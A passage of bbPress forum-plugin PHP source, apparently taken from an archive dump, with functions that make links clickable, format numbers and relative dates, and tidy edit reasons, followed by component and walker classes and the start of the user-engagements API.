		$parts = array_map( 'trim', explode( ' ', $atts['rel'] ) );
		if ( false === array_search( 'nofollow', $parts ) ) {
			$parts[] = 'nofollow';
		}

		$rel = implode( ' ', $parts );
		unset( $atts['rel'] );

		$html = '';
		foreach ( $atts as $name => $value ) {
			$html .= "{$name}=\"{$value}\" ";
		}

		$text = trim( $html );
	}

	return "<a {$text} rel=\"{$rel}\">";
}

/** Make Clickable ************************************************************/

/**
 * Convert plaintext URI to HTML links.
 *
 * Converts URI, www and ftp, and email addresses. Finishes by fixing links
 * within links.
 *
 * This custom version of WordPress's make_clickable() skips links inside of
 * pre and code tags.
 *
 * @since 2.4.0 bbPress (r4941)
 *
 * @param string $text Content to convert URIs.
 * @return string Content with converted URIs.
 */
function bbp_make_clickable( $text = '' ) {
	$r               = '';
	$textarr         = preg_split( '/(<[^<>]+>)/', $text, -1, PREG_SPLIT_DELIM_CAPTURE ); // split out HTML tags
	$nested_code_pre = 0; // Keep track of how many levels link is nested inside <pre> or <code>

	foreach ( $textarr as $piece ) {

		if ( preg_match( '|^<code[\s>]|i', $piece ) || preg_match( '|^<pre[\s>]|i', $piece ) || preg_match( '|^<script[\s>]|i', $piece ) || preg_match( '|^<style[\s>]|i', $piece ) ) {
			$nested_code_pre++;
		} elseif ( $nested_code_pre && ( '</code>' === strtolower( $piece ) || '</pre>' === strtolower( $piece ) || '</script>' === strtolower( $piece ) || '</style>' === strtolower( $piece ) ) ) {
			$nested_code_pre--;
		}

		if ( $nested_code_pre || empty( $piece ) || ( $piece[0] === '<' && ! preg_match( '|^<\s*[\w]{1,20}+://|', $piece ) ) ) {
			$r .= $piece;
			continue;
		}

		// Long strings might contain expensive edge cases ...
		if ( 10000 < strlen( $piece ) ) {
			// ... break it up
			foreach ( _split_str_by_whitespace( $piece, 2100 ) as $chunk ) { // 2100: Extra room for scheme and leading and trailing paretheses
				if ( 2101 < strlen( $chunk ) ) {
					$r .= $chunk; // Too big, no whitespace: bail.
				} else {
					$r .= bbp_make_clickable( $chunk );
				}
			}
		} else {
			$ret = " {$piece} "; // Pad with whitespace to simplify the regexes
			$ret = apply_filters( 'bbp_make_clickable', $ret, $text );
			$ret = substr( $ret, 1, -1 ); // Remove our whitespace padding.
			$r .= $ret;
		}
	}

	// Cleanup of accidental links within links
	return preg_replace( '#(<a([ \r\n\t]+[^>]+?>|>))<a [^>]+?>([^>]+?)</a>([^<]*)</a>#i', "$1$3$4</a>", $r );
}

/**
 * Make URLs clickable in content areas
 *
 * @since 2.6.0 bbPress (r6014)
 *
 * @param  string $text
 * @return string
 */
function bbp_make_urls_clickable( $text = '' ) {
	$url_clickable = '~
		([\\s(<.,;:!?])                                # 1: Leading whitespace, or punctuation
		(                                              # 2: URL
			[\\w]{1,20}+://                            # Scheme and hier-part prefix
			(?=\S{1,2000}\s)                           # Limit to URLs less than about 2000 characters long
			[\\w\\x80-\\xff#%\\~/@\\[\\]*(+=&$-]*+     # Non-punctuation URL character
			(?:                                        # Unroll the Loop: Only allow puctuation URL character if followed by a non-punctuation URL character
				[\'.,;:!?)]                            # Punctuation URL character
				[\\w\\x80-\\xff#%\\~/@\\[\\]*(+=&$-]++ # Non-punctuation URL character
			)*
		)
		(\)?)                                          # 3: Trailing closing parenthesis (for parethesis balancing post processing)
	~xS';

	// The regex is a non-anchored pattern and does not have a single fixed starting character.
	// Tell PCRE to spend more time optimizing since, when used on a page load, it will probably be used several times.
	return preg_replace_callback( $url_clickable, '_make_url_clickable_cb', $text );
}

/**
 * Make FTP clickable in content areas
 *
 * @since 2.6.0 bbPress (r6014)
 *
 * @see make_clickable()
 *
 * @param  string $text
 * @return string
 */
function bbp_make_ftps_clickable( $text = '' ) {
	return preg_replace_callback( '#([\s>])((www|ftp)\.[\w\\x80-\\xff\#$%&~/.\-;:=,?@\[\]+]+)#is', '_make_web_ftp_clickable_cb', $text );
}

/**
 * Make emails clickable in content areas
 *
 * @since 2.6.0 bbPress (r6014)
 *
 * @see make_clickable()
 *
 * @param  string $text
 * @return string
 */
function bbp_make_emails_clickable( $text = '' ) {
	return preg_replace_callback( '#([\s>])([.0-9a-z_+-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,})#i', '_make_email_clickable_cb', $text );
}

/**
 * Make mentions clickable in content areas
 *
 * @since 2.6.0 bbPress (r6014)
 *
 * @see make_clickable()
 *
 * @param  string $text
 * @return string
 */
function bbp_make_mentions_clickable( $text = '' ) {
	return preg_replace_callback( '#([\s>])@([0-9a-zA-Z-_]+)#i', 'bbp_make_mentions_clickable_callback', $text );
}

/**
 * Callback to convert mention matches to HTML A tag.
 *
 * @since 2.6.0 bbPress (r6014)
 *
 * @param array $matches Regular expression matches in the current text blob.
 *
 * @return string Original text if no user exists, or link to user profile.
 */
function bbp_make_mentions_clickable_callback( $matches = array() ) {

	// Bail if the match is empty malformed
	if ( empty( $matches[2] ) || ! is_string( $matches[2] ) ) {
		return $matches[0];
	}

	// Get user; bail if not found
	$user = get_user_by( 'slug', $matches[2] );
	if ( empty( $user ) || bbp_is_user_inactive( $user->ID ) ) {
		return $matches[0];
	}

	// Default anchor classes
	$classes = array(
		'bbp-user-mention',
		'bbp-user-id-' . absint( $user->ID )
	);

	// Filter classes
	$classes = (array) apply_filters( 'bbp_make_mentions_clickable_classes', $classes, $user );

	// Escape & implode if not empty, otherwise an empty string
	$class_str = ! empty( $classes )
		? implode( ' ', array_map( 'sanitize_html_class', $classes ) )
		: '';

	// Setup as a variable to avoid a potentially empty class attribute
	$class = ! empty( $class_str )
		? ' class="' . esc_attr( $class_str ) . '"'
		: '';

	// Create the link to the user's profile
	$html   = '<a href="%1$s"' . $class . '>%2$s</a>';
	$url    = bbp_get_user_profile_url( $user->ID );
	$anchor = sprintf( $html, esc_url( $url ), esc_html( $matches[0] ) );

	// Prevent this link from being followed by bots
	$link   = bbp_rel_nofollow( $anchor );

	// Concatenate the matches into the return value
	$retval = $matches[1] . $link;

	// Return the link
	return $retval;
}

/** Numbers *******************************************************************/

/**
 * Never let a numeric value be less than zero.
 *
 * @since 2.6.0 bbPress (r6300)
 *
 * @param int $number
 */
function bbp_number_not_negative( $number = 0 ) {

	// Protect against formatted strings
	if ( is_string( $number ) ) {
		$number = strip_tags( $number );                    // No HTML
		$number = preg_replace( '/[^0-9-]/', '', $number ); // No number-format

	// Protect against objects, arrays, scalars, etc...
	} elseif ( ! is_numeric( $number ) ) {
		$number = 0;
	}

	// Make the number an integer
	$int = intval( $number );

	// Pick the maximum value, never less than zero
	$not_less_than_zero = max( 0, $int );

	// Filter & return
	return (int) apply_filters( 'bbp_number_not_negative', $not_less_than_zero, $int, $number );
}

/**
 * A bbPress specific method of formatting numeric values
 *
 * @since 2.0.0 bbPress (r2486)
 *
 * @param string $number Number to format
 * @param string $decimals Optional. Display decimals
 *
 * @return string Formatted string
 */
function bbp_number_format( $number = 0, $decimals = false, $dec_point = '.', $thousands_sep = ',' ) {

	// If empty, set $number to (int) 0
	if ( ! is_numeric( $number ) ) {
		$number = 0;
	}

	// Filter & return
	return apply_filters( 'bbp_number_format', number_format( $number, $decimals, $dec_point, $thousands_sep ), $number, $decimals, $dec_point, $thousands_sep );
}

/**
 * A bbPress specific method of formatting numeric values
 *
 * @since 2.1.0 bbPress (r3857)
 *
 * @param string $number Number to format
 * @param string $decimals Optional. Display decimals
 *
 * @return string Formatted string
 */
function bbp_number_format_i18n( $number = 0, $decimals = false ) {

	// If empty, set $number to (int) 0
	if ( ! is_numeric( $number ) ) {
		$number = 0;
	}

	// Filter & return
	return apply_filters( 'bbp_number_format_i18n', number_format_i18n( $number, $decimals ), $number, $decimals );
}

/** Dates *********************************************************************/

/**
 * Convert time supplied from database query into specified date format.
 *
 * @since 2.0.0 bbPress (r2544)
 *
 * @param string $time Time to convert
 * @param string $d Optional. Default is 'U'. Either 'G', 'U', or php date
 *                             format
 * @param bool $translate Optional. Default is false. Whether to translate the
 *
 * @return string Returns timestamp
 */
function bbp_convert_date( $time, $d = 'U', $translate = false ) {
	$new_time = mysql2date( $d, $time, $translate );

	// Filter & return
	return apply_filters( 'bbp_convert_date', $new_time, $d, $translate, $time );
}

/**
 * Output formatted time to display human readable time difference.
 *
 * @since 2.0.0 bbPress (r2544)
 *
 * @param string $older_date Unix timestamp from which the difference begins.
 * @param string $newer_date Optional. Unix timestamp from which the
 *                            difference ends. False for current time.
 * @param int $gmt Optional. Whether to use GMT timezone. Default is false.
 */
function bbp_time_since( $older_date, $newer_date = false, $gmt = false ) {
	echo bbp_get_time_since( $older_date, $newer_date, $gmt );
}
	/**
	 * Return formatted time to display human readable time difference.
	 *
	 * @since 2.0.0 bbPress (r2544)
	 *
	 * @param string $older_date Unix timestamp from which the difference begins.
	 * @param string $newer_date Optional. Unix timestamp from which the
	 *                            difference ends. False for current time.
	 * @param int $gmt Optional. Whether to use GMT timezone. Default is false.
	 *
	 * @return string Formatted time
	 */
	function bbp_get_time_since( $older_date, $newer_date = false, $gmt = false ) {

		// Setup the strings
		$unknown_text   = apply_filters( 'bbp_core_time_since_unknown_text',   esc_html__( 'sometime',  'bbpress' ) );
		$right_now_text = apply_filters( 'bbp_core_time_since_right_now_text', esc_html__( 'right now', 'bbpress' ) );
		$ago_text       = apply_filters( 'bbp_core_time_since_ago_text',       esc_html__( '%s ago',    'bbpress' ) );

		// array of time period chunks
		$chunks = array(
			array( YEAR_IN_SECONDS,   _n_noop( '%s year',   '%s years',   'bbpress' ) ),
			array( MONTH_IN_SECONDS,  _n_noop( '%s month',  '%s months',  'bbpress' ) ),
			array( WEEK_IN_SECONDS,   _n_noop( '%s week',   '%s weeks',   'bbpress' ) ),
			array( DAY_IN_SECONDS,    _n_noop( '%s day',    '%s days',    'bbpress' ) ),
			array( HOUR_IN_SECONDS,   _n_noop( '%s hour',   '%s hours',   'bbpress' ) ),
			array( MINUTE_IN_SECONDS, _n_noop( '%s minute', '%s minutes', 'bbpress' ) ),
			array( 1,                 _n_noop( '%s second', '%s seconds', 'bbpress' ) ),
		);

		// Attempt to parse non-numeric older date
		if ( ! empty( $older_date ) && ! is_numeric( $older_date ) ) {
			$time_chunks = explode( ':', str_replace( ' ', ':', $older_date ) );
			$date_chunks = explode( '-', str_replace( ' ', '-', $older_date ) );
			$older_date  = gmmktime( (int) $time_chunks[1], (int) $time_chunks[2], (int) $time_chunks[3], (int) $date_chunks[1], (int) $date_chunks[2], (int) $date_chunks[0] );
		}

		// Attempt to parse non-numeric newer date
		if ( ! empty( $newer_date ) && ! is_numeric( $newer_date ) ) {
			$time_chunks = explode( ':', str_replace( ' ', ':', $newer_date ) );
			$date_chunks = explode( '-', str_replace( ' ', '-', $newer_date ) );
			$newer_date  = gmmktime( (int) $time_chunks[1], (int) $time_chunks[2], (int) $time_chunks[3], (int) $date_chunks[1], (int) $date_chunks[2], (int) $date_chunks[0] );
		}

		// Set newer date to current time
		if ( empty( $newer_date ) ) {
			$newer_date = strtotime( current_time( 'mysql', $gmt ) );
		}

		// Cast both dates to ints to avoid notices & errors with invalid values
		$newer_date = intval( $newer_date );
		$older_date = intval( $older_date );

		// Difference in seconds
		$since = intval( $newer_date - $older_date );

		// Something went wrong with date calculation and we ended up with a negative date.
		if ( 0 > $since ) {
			$output = $unknown_text;

		// We only want to output two chunks of time here, eg:
		//     x years, xx months
		//     x days, xx hours
		// so there's only two bits of calculation below:
		} else {

			// Default count values
			$count  = 0;
			$count2 = 0;

			// Step one: the first chunk
			for ( $i = 0, $j = count( $chunks ); $i < $j; ++$i ) {
				$seconds = $chunks[ $i ][0];

				// Finding the biggest chunk (if the chunk fits, break)
				$count = floor( $since / $seconds );
				if ( 0 != $count ) {
					break;
				}
			}

			// If $i iterates all the way to $j, then the event happened 0 seconds ago
			if ( ! isset( $chunks[ $i ] ) ) {
				$output = $right_now_text;

			} else {

				// Set output var
				$output = sprintf( translate_nooped_plural( $chunks[ $i ][1], $count, 'bbpress' ), bbp_number_format_i18n( $count ) );

				// Step two: the second chunk
				if ( $i + 2 < $j ) {
					$seconds2 = $chunks[ $i + 1 ][0];
					$count2   = floor( ( $since - ( $seconds * $count ) ) / $seconds2 );

					// Add to output var
					if ( 0 != $count2 ) {
						$output .= _x( ',', 'Separator in time since', 'bbpress' ) . ' ';
						$output .= sprintf( translate_nooped_plural( $chunks[ $i + 1 ][1], $count2, 'bbpress' ), bbp_number_format_i18n( $count2 ) );
					}
				}

				// Empty counts, so fallback to right now
				if ( empty( $count ) && empty( $count2 ) ) {
					$output = $right_now_text;
				}
			}
		}

		// Append 'ago' to the end of time-since if not 'right now'
		if ( $output != $right_now_text ) {
			$output = sprintf( $ago_text, $output );
		}

		// Filter & return
		return apply_filters( 'bbp_get_time_since', $output, $older_date, $newer_date );
	}

/** Revisions *****************************************************************/

/**
 * Formats the reason for editing the topic/reply.
 *
 * Does these things:
 *  - Trimming
 *  - Removing periods from the end of the string
 *  - Trimming again
 *
 * @since 2.0.0 bbPress (r2782)
 *
 * @param string $reason Optional. User submitted reason for editing.
 * @return string Status of topic
 */
function bbp_format_revision_reason( $reason = '' ) {
	$reason = (string) $reason;

	// Bail if reason is empty
	if ( empty( $reason ) ) {
		return $reason;
	}

	// Trimming
	$reason = trim( $reason );

	// We add our own full stop.
	while ( substr( $reason, -1 ) === '.' ) {
		$reason = substr( $reason, 0, -1 );
	}

	// Trim again
	$reason = trim( $reason );

	return $reason;
}
includes/common/classes.php000066600000031133151771460310012022 0ustar00<?php

/**
 * bbPress Classes
 *
 * @package bbPress
 * @subpackage Classes
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'BBP_Component' ) ) :
/**
 * bbPress Component Class
 *
 * The bbPress component class is responsible for simplifying the creation
 * of components that share similar behaviors and routines. It is used
 * internally by bbPress to create forums, topics and replies, but can be
 * extended to create other really neat things.
 *
 * @package bbPress
 * @subpackage Classes
 *
 * @since 2.0.0 bbPress (r2688)
 */
class BBP_Component {

	/**
	 * @var string Unique name (for internal identification)
	 * @internal
	 */
	var $name;

	/**
	 * @var Unique ID (normally for custom post type)
	 */
	var $id;

	/**
	 * @var string Unique slug (used in query string and permalinks)
	 */
	var $slug;

	/**
	 * @var WP_Query The loop for this component
	 */
	var $query;

	/**
	 * @var string The current ID of the queried object
	 */
	var $current_id;


	/** Methods ***************************************************************/

	/**
	 * bbPress Component loader
	 *
	 * @since 2.0.0 bbPress (r2700)
	 *
	 * @param array $args Required. Supports these args:
	 *  - name: Unique name (for internal identification)
	 *  - id: Unique ID (normally for custom post type)
	 *  - slug: Unique slug (used in query string and permalinks)
	 *  - query: The loop for this component (WP_Query)
	 *  - current_id: The current ID of the queried object
	 */
	public function __construct( $args = array() ) {
		if ( empty( $args ) ) {
			return;
		}

		$this->setup_globals( $args );
		$this->includes();
		$this->setup_actions();
	}

	/**
	 * Component global variables
	 *
	 * @since 2.0.0 bbPress (r2700)
	 *
	 * @access private
	 */
	private function setup_globals( $args = array() ) {
		$this->name = $args['name'];
		$this->id   = apply_filters( 'bbp_' . $this->name . '_id',   $args['id']   );
		$this->slug = apply_filters( 'bbp_' . $this->name . '_slug', $args['slug'] );
	}

	/**
	 * Include required files
	 *
	 * @since 2.0.0 bbPress (r2700)
	 *
	 * @access private
	 */
	private function includes() {
		do_action( 'bbp_' . $this->name . 'includes' );
	}

	/**
	 * Setup the actions
	 *
	 * @since 2.0.0 bbPress (r2700)
	 *
	 * @access private
	 */
	private function setup_actions() {
		add_action( 'bbp_register_post_types',    array( $this, 'register_post_types'    ), 10, 2 ); // Register post types
		add_action( 'bbp_register_taxonomies',    array( $this, 'register_taxonomies'    ), 10, 2 ); // Register taxonomies
		add_action( 'bbp_add_rewrite_tags',       array( $this, 'add_rewrite_tags'       ), 10, 2 ); // Add the rewrite tags
		add_action( 'bbp_generate_rewrite_rules', array( $this, 'generate_rewrite_rules' ), 10, 2 ); // Generate rewrite rules

		// Additional actions can be attached here
		do_action( 'bbp_' . $this->name . 'setup_actions' );
	}

	/**
	 * Setup the component post types
	 *
	 * @since 2.0.0 bbPress (r2700)
	 */
	public function register_post_types() {
		do_action( 'bbp_' . $this->name . '_register_post_types' );
	}

	/**
	 * Register component specific taxonomies
	 *
	 * @since 2.0.0 bbPress (r2700)
	 */
	public function register_taxonomies() {
		do_action( 'bbp_' . $this->name . '_register_taxonomies' );
	}

	/**
	 * Add any additional rewrite tags
	 *
	 * @since 2.0.0 bbPress (r2700)
	 */
	public function add_rewrite_tags() {
		do_action( 'bbp_' . $this->name . '_add_rewrite_tags' );
	}

	/**
	 * Generate any additional rewrite rules
	 *
	 * @since 2.0.0 bbPress (r2700)
	 */
	public function generate_rewrite_rules( $wp_rewrite ) {
		do_action_ref_array( 'bbp_' . $this->name . '_generate_rewrite_rules', $wp_rewrite );
	}
}
endif; // BBP_Component

if ( class_exists( 'Walker' ) ) :
/**
 * Create HTML dropdown list of bbPress forums/topics.
 *
 * @package bbPress
 * @subpackage Classes
 *
 * @since 2.0.0 bbPress (r2746)
 */
class BBP_Walker_Dropdown extends Walker {

	/**
	 * @see Walker::$tree_type
	 *
	 * @since 2.0.0 bbPress (r2746)
	 *
	 * @var string
	 */
	public $tree_type = 'forum';

	/**
	 * @see Walker::$db_fields
	 *
	 * @since 2.0.0 bbPress (r2746)
	 *
	 * @var array
	 */
	public $db_fields = array(
		'parent' => 'post_parent',
		'id'     => 'ID'
	);

	/** Methods ***************************************************************/

	/**
	 * Set the tree_type
	 *
	 * @since 2.0.0 bbPress (r2746)
	 */
	public function __construct() {
		$this->tree_type = bbp_get_forum_post_type();
	}

	/**
	 * @see Walker::start_el()
	 *
	 * @since 2.0.0 bbPress (r2746)
	 *
	 * @param string $output Passed by reference. Used to append additional
	 *                       content.
	 * @param object $object Post data object.
	 * @param int    $depth  Depth of post in reference to parent posts. Used
	 *                       for padding.
	 * @param array  $args   Uses 'selected' argument for selected post to set
	 *                       selected HTML attribute for option element.
	 * @param int    $current_object_id
	 */
	public function start_el( &$output, $object, $depth = 0, $args = array(), $current_object_id = 0 ) {
		$pad     = str_repeat( '&nbsp;', (int) $depth * 3 );
		$output .= '<option class="level-' . (int) $depth . '"';

		// Disable the <option> if:
		// - we're told to do so
		// - the post type is a forum
		// - the forum is a category
		// - forum is closed
		if (	( true === $args['disable_categories'] )
				&& ( bbp_get_forum_post_type() === $object->post_type )
				&& ( bbp_is_forum_category( $object->ID )
					|| ( ! current_user_can( 'edit_forum', $object->ID ) && bbp_is_forum_closed( $object->ID )
				)
			) ) {
			$output .= ' disabled="disabled" value=""';
		} else {
			$output .= ' value="' . (int) $object->ID .'"' . selected( $args['selected'], $object->ID, false );
		}

		$output .= '>';
		$title   = apply_filters( 'bbp_walker_dropdown_post_title', $object->post_title, $output, $object, $depth, $args );
		$output .= $pad . esc_html( $title );
		$output .= "</option>\n";
	}
}

/**
 * Create hierarchical list of bbPress replies.
 *
 * @package bbPress
 * @subpackage Classes
 *
 * @since 2.4.0 bbPress (r4944)
 */
class BBP_Walker_Reply extends Walker {

	/**
	 * @see Walker::$tree_type
	 *
	 * @since 2.4.0 bbPress (r4944)
	 *
	 * @var string
	 */
	public $tree_type = 'reply';

	/**
	 * @see Walker::$db_fields
	 *
	 * @since 2.4.0 bbPress (r4944)
	 *
	 * @var array
	 */
	public $db_fields = array(
		'parent' => 'reply_to',
		'id'     => 'ID'
	);

	/**
	 * Confirm the tree_type
	 *
	 * @since 2.6.0 bbPress (r5389)
	 */
	public function __construct() {
		$this->tree_type = bbp_get_reply_post_type();
	}

	/**
	 * @see Walker::start_lvl()
	 *
	 * @since 2.4.0 bbPress (r4944)
	 *
	 * @param string $output Passed by reference. Used to append additional content
	 * @param int $depth Depth of reply
	 * @param array $args Uses 'style' argument for type of HTML list
	 */
	public function start_lvl( &$output = '', $depth = 0, $args = array() ) {
		bbpress()->reply_query->reply_depth = (int) $depth + 1;

		switch ( $args['style'] ) {
			case 'div':
				break;
			case 'ol':
				$output .= "<ol class='bbp-threaded-replies'>\n";
				break;
			case 'ul':
			default:
				$output .= "<ul class='bbp-threaded-replies'>\n";
				break;
		}
	}

	/**
	 * @see Walker::end_lvl()
	 *
	 * @since 2.4.0 bbPress (r4944)
	 *
	 * @param string $output Passed by reference. Used to append additional content
	 * @param int $depth Depth of reply
	 * @param array $args Will only append content if style argument value is 'ol' or 'ul'
	 */
	public function end_lvl( &$output = '', $depth = 0, $args = array() ) {
		bbpress()->reply_query->reply_depth = (int) $depth + 1;

		switch ( $args['style'] ) {
			case 'div':
				break;
			case 'ol':
				$output .= "</ol>\n";
				break;
			case 'ul':
			default:
				$output .= "</ul>\n";
				break;
		}
	}

	/**
	 * @since 2.4.0 bbPress (r4944)
	 */
	public function display_element( $element = false, &$children_elements = array(), $max_depth = 0, $depth = 0, $args = array(), &$output = '' ) {

		if ( empty( $element ) ) {
			return;
		}

		// Get element's id
		$id_field = $this->db_fields['id'];
		$id       = $element->$id_field;

		// Display element
		parent::display_element( $element, $children_elements, $max_depth, $depth, $args, $output );

		// If we're at the max depth and the current element still has children, loop over those
		// and display them at this level to prevent them being orphaned to the end of the list.
		if ( ( $max_depth <= (int) $depth + 1 ) && isset( $children_elements[ $id ] ) ) {
			foreach ( $children_elements[ $id ] as $child ) {
				$this->display_element( $child, $children_elements, $max_depth, $depth, $args, $output );
			}
			unset( $children_elements[ $id ] );
		}
	}

	/**
	 * @see Walker:start_el()
	 *
	 * @since 2.4.0 bbPress (r4944)
	 */
	public function start_el( &$output, $object, $depth = 0, $args = array(), $current_object_id = 0 ) {

		// Set up reply
		$depth++;
		bbpress()->reply_query->reply_depth = (int) $depth;
		bbpress()->reply_query->post        = $object;
		bbpress()->current_reply_id         = $object->ID;

		// Check for a callback and use it if specified
		if ( ! empty( $args['callback'] ) ) {
			ob_start();
			call_user_func( $args['callback'], $object, $args, $depth );
			$output .= ob_get_clean();
			return;
		}

		// Style for div or list element
		if ( ! empty( $args['style'] ) && ( 'div' === $args['style'] ) ) {
			$output .= "<div>\n";
		} else {
			$output .= "<li>\n";
		}

		$output .= bbp_buffer_template_part( 'loop', 'single-reply', false );
	}

	/**
	 * @since 2.4.0 bbPress (r4944)
	 */
	public function end_el( &$output = '', $object = false, $depth = 0, $args = array() ) {

		// Check for a callback and use it if specified
		if ( ! empty( $args['end-callback'] ) ) {
			ob_start();
			call_user_func( $args['end-callback'], $object, $args, $depth );
			$output .= ob_get_clean();
			return;
		}

		// Style for div or list element
		if ( ! empty( $args['style'] ) && ( 'div' === $args['style'] ) ) {
			$output .= "</div>\n";
		} else {
			$output .= "</li>\n";
		}
	}
}

/**
 * Create HTML dropdown list of bbPress replies.
 *
 * @package bbPress
 * @subpackage Classes
 *
 * @since 2.6.0 bbPress (r5389)
 */
class BBP_Walker_Reply_Dropdown extends Walker {

	/**
	 * @see Walker::$tree_type
	 *
	 * @since 2.6.0 bbPress (r5389)
	 *
	 * @var string
	 */
	public $tree_type = 'reply';

	/**
	 * @see Walker::$db_fields
	 *
	 * @since 2.6.0 bbPress (r5389)
	 *
	 * @var array
	 */
	public $db_fields = array(
		'parent' => 'reply_to',
		'id'     => 'ID'
	);

	/** Methods ***************************************************************/

	/**
	 * Confirm the tree_type
	 *
	 * @since 2.6.0 bbPress (r5389)
	 */
	public function __construct() {
		$this->tree_type = bbp_get_reply_post_type();
	}

	/**
	 * @see Walker::start_el()
	 *
	 * @since 2.6.0 bbPress (r5389)
	 *
	 * @param string $output Passed by reference. Used to append additional
	 *                       content.
	 *
	 * @param object $object Post data object.
	 *
	 * @param int    $depth  Depth of post in reference to parent posts. Used
	 *                       for padding.
	 *
	 * @param array  $args   Uses 'selected' argument for selected post to set
	 *                       selected HTML attribute for option element.
	 *
	 * @param int    $current_object_id Not Used
	 */
	public function start_el( &$output, $object, $depth = 0, $args = array(), $current_object_id = 0 ) {

		// Set up reply
		$depth++;

		// Get the reply ID
		if ( isset( $args['exclude'][0] ) ) {
			$reply_id = (int) $args['exclude'][0];
		} else {
			$reply_id = bbp_get_reply_id();
		}

		// Get ancestors to determine which items to disable
		$ancestors = bbp_get_reply_ancestors( $object->ID );
		array_push( $ancestors, $object->ID );

		// Determine the indentation
		$pad = str_repeat( '&nbsp;', (int) $depth * 3 );

		// Determine reply title (either post_title, or excerpt of post_content)
		$title = ! empty( $object->post_title ) ? $object->post_title : wp_html_excerpt( $object->post_content, 10 );
		$title   = sprintf( esc_html__( '%1$s - %2$s', 'bbpress' ), (int) $object->ID, $title );
		$title   = apply_filters( 'bbp_walker_dropdown_post_title', $title, $output, $object, $depth, $args );

		// Attributes
		$class = 'level-' . (int) $depth;
		$value = (int) $object->ID;

		// Start an output buffer to make late escaping easier
		ob_start(); ?>

		<option class="<?php echo esc_attr( $class ); ?>" value="<?php echo esc_attr( $value ); ?>"<?php selected( $args['selected'], $object->ID ); ?> <?php disabled( in_array( $reply_id, $ancestors ), true ); ?>><?php echo $pad . esc_html( $title ); ?></option>

		<?php

		// Append the output buffer to the $output variable
		$output .= ob_get_clean();
	}
}
endif; // class_exists check
includes/common/engagements.php000066600000065460151771460310012674 0ustar00<?php

/**
 * bbPress Common Engagements
 *
 * This file contains the common classes and functions for interacting with the
 * bbPress engagements API. See `includes/users/engagements.php` for more.
 *
 * @package bbPress
 * @subpackage Common
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Return the strategy used for storing user engagements
 *
 * @since 2.6.0 bbPress (r6722)
 *
 * @param string $rel_key  The key used to index this relationship
 * @param string $rel_type The type of meta to look in
 *
 * @return string
 */
function bbp_user_engagements_interface( $rel_key = '', $rel_type = 'post' ) {
	return apply_filters( 'bbp_user_engagements_interface', bbpress()->engagements, $rel_key, $rel_type );
}

/**
 * Base strategy class for interfacing with User Engagements, which other
 * classes will extend.
 *
 * @since 2.6.0 bbPress (r6722)
 */
class BBP_User_Engagements_Base {

	/**
	 * Type of strategy being used.
	 *
	 * @since 2.6.0 bbPress (r6737)
	 *
	 * @var string
	 */
	public $type = '';

	/**
	 * Add a user id to an object
	 *
	 * @since 2.6.0 bbPress (r6722)
	 *
	 * @param int    $object_id The object id
	 * @param int    $user_id   The user id
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 * @param bool   $unique    Whether meta key should be unique to the object
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function add_user_to_object( $object_id = 0, $user_id = 0, $meta_key = '', $meta_type = 'post', $unique = false ) {

	}

	/**
	 * Remove a user id from an object
	 *
	 * @since 2.6.0 bbPress (r6722)
	 *
	 * @param int    $object_id The object id
	 * @param int    $user_id   The user id
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function remove_user_from_object( $object_id = 0, $user_id = 0, $meta_key = '', $meta_type = 'post' ) {

	}

	/**
	 * Remove a user id from all objects
	 *
	 * @since 2.6.0 bbPress (r6722)
	 *
	 * @param int    $user_id   The user id
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function remove_user_from_all_objects( $user_id = 0, $meta_key = '', $meta_type = 'post' ) {

	}

	/**
	 * Remove an object from all users
	 *
	 * @since 2.6.0 bbPress (r6722)
	 *
	 * @param int    $object_id The object id
	 * @param int    $user_id   The user id
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function remove_object_from_all_users( $object_id = 0, $meta_key = '', $meta_type = 'post' ) {

	}

	/**
	 * Remove all users from all objects
	 *
	 * @since 2.6.0 bbPress (r6722)
	 *
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function remove_all_users_from_all_objects( $meta_key = '', $meta_type = 'post' ) {

	}

	/**
	 * Get users of an object
	 *
	 * @since 2.6.0 bbPress (r6722)
	 *
	 * @param int    $object_id The object id
	 * @param string $meta_key  The key used to index this relationship
	 * @param string $meta_type The type of meta to look in
	 *
	 * @return array Returns ids of users
	 */
	public function get_users_for_object( $object_id = 0, $meta_key = '', $meta_type = 'post' ) {

	}

	/**
	 * Get the part of the query responsible for JOINing objects to relationships.
	 *
	 * @since 2.6.0 bbPress (r6737)
	 *
	 * @param array  $args
	 * @param string $meta_key
	 * @param string $meta_type
	 *
	 * @return array
	 */
	public function get_query( $args = array(), $context_key = '', $meta_key = '', $meta_type = 'post' ) {

	}
}

/**
 * Meta strategy for interfacing with User Engagements
 *
 * @since 2.6.0 bbPress (r6722)
 */
class BBP_User_Engagements_Meta extends BBP_User_Engagements_Base {

	/**
	 * Type of strategy being used.
	 *
	 * @since 2.6.0 bbPress (r6737)
	 *
	 * @var string
	 */
	public $type = 'meta';

	/**
	 * Add a user id to an object
	 *
	 * @since 2.6.0 bbPress (r6722)
	 *
	 * @param int    $object_id The object id
	 * @param int    $user_id   The user id
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 * @param bool   $unique    Whether meta key should be unique to the object
	 *
	 * @return bool Returns true on success, false on failure
	 */
	public function add_user_to_object( $object_id = 0, $user_id = 0, $meta_key = '', $meta_type = 'post', $unique = false ) {
		return add_metadata( $meta_type, $object_id, $meta_key, $user_id, $unique );
	}

	/**
	 * Remove a user id from an object
	 *
	 * @since 2.6.0 bbPress (r6722)
	 *
	 * @param int    $object_id The object id
	 * @param int    $user_id   The user id
	 * @param string $meta_key  The relationship key
	 * @param string $meta_type The relationship type (usually 'post')
	 *
	 * @return bool Returns true on success, false on failure
	 */
